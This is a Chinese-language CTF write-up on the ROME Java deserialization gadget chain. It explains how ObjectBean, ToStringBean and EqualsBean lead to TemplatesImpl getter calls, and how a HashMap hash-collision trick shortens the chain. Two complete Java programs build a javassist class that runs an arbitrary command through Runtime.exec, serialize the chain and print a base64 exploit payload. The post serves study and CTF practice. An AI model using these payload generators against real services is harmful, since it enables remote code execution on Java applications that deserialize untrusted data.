ROME
D^3CTF有考到一个ROME的利用链,正好借此机会跟一下这个链子,和缩小链子的方法思路。
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。
ObjectBean
com.sun.syndication.feed.impl.ObjectBean 是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。
ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals、toString、clone 以及 hashCode 方法。
这里有个hashCode方法会去调用_obj 的 toString() 方法。
同样要调用tostring也可以使用BadAttributeValueExpException

ToStringBean
在这个类中存在动态方法的调用。

这里的 BeanIntrospector.getPropertyDescriptors() 获取 _beanClass 的全部 getter/setter 方法,然后调用所有的getter方法去打印出值。也就是说这个位置会触发 _obj 实例的全部 getter 方法,那么再联系TemplatesImpl 的利用链就可以达到rce。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| import com.example.demo.tools.Tools; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtNewConstructor;
import javax.xml.transform.Templates; import java.util.Base64;
public class StaticBlock { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } private static byte[] getShortTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("E"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = CtNewConstructor.make( " public E() {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }", ctClass); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); ctClass.defrost();
return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } }
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name","Pupi1"); setFieldValue(obj,"_class",null); setFieldValue(obj,"_bytecodes",new byte[][]{getShortTemplatesImpl("calc")});
ToStringBean bean = new ToStringBean(Templates.class,obj); ObjectBean objectBean = new ObjectBean(String.class,"Pupi1"); HashMap map = new HashMap(); map.put(objectBean,""); setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,bean)); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(map); byte[] sss = byteArrayOutputStream.toByteArray(); out.close(); String exp = Base64.getEncoder().encodeToString(sss); System.out.println(exp); } }
|
EqualsBean
在这个类中有和tostringBean类似的代码,在beanEquals中

同样的通过反射去调用了getter方法,可以通过equals触发。
接下来找equals的调用就可以了,在Hashtable,HashMap,HashSet这些都可以有触发equals的地方。
这里说一下用HashMap的触发。
首先我们知道了hashmap在put时key的hashcode一致时会触发equals,而且在map中对象大于1时会调用父类的equals

这个位置可以很明显的看到触发了equals,那么这里有用到一个小trick,就是"yy".hashCode()=="zZ".hashCode()也就是 Objects.hashCode("yy")==Objects.hashCode("zZ")。类似的

这样的map1和map2的hashcode是一样的,所以可以正好满足条件,然后让value为EqualsBean 对象,让 m.get(key) 是一个TemplateImpl 对象,最后通过反射设置有害的恶意类。
用javassist设置恶意类来缩小payload长度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| import com.example.demo.tools.Tools; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtNewConstructor;
import javax.xml.transform.Templates; import java.util.Base64;
public class StaticBlock { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } private static byte[] getShortTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("E"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = CtNewConstructor.make( " public E() {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }", ctClass); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); ctClass.defrost();
return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } }
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name","Pupi1"); setFieldValue(obj,"_class",null); setFieldValue(obj,"_bytecodes",new byte[][]{getShortTemplatesImpl("calc")});
EqualsBean bean = new EqualsBean(String.class,"Pupi1");
HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",obj); map1.put("zZ",bean); map2.put("yy",bean); map2.put("zZ",obj); System.out.println(map1.hashCode()); System.out.println(map2.hashCode()); HashMap table = new HashMap(); table.put(map1,"1"); table.put(map2,"2");
setFieldValue(bean,"_beanClass",Templates.class); setFieldValue(bean,"_obj",obj); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(table); byte[] sss = byteArrayOutputStream.toByteArray(); out.close(); String exp = Base64.getEncoder().encodeToString(sss); System.out.println(exp); } }
|
参考链接:
https://www.yuque.com/jinjinshigekeaigui/qskpi5/cz1um4#GVNRu
https://su18.org/post/ysoserial-su18-5/#rome
https://xz.aliyun.com/t/10824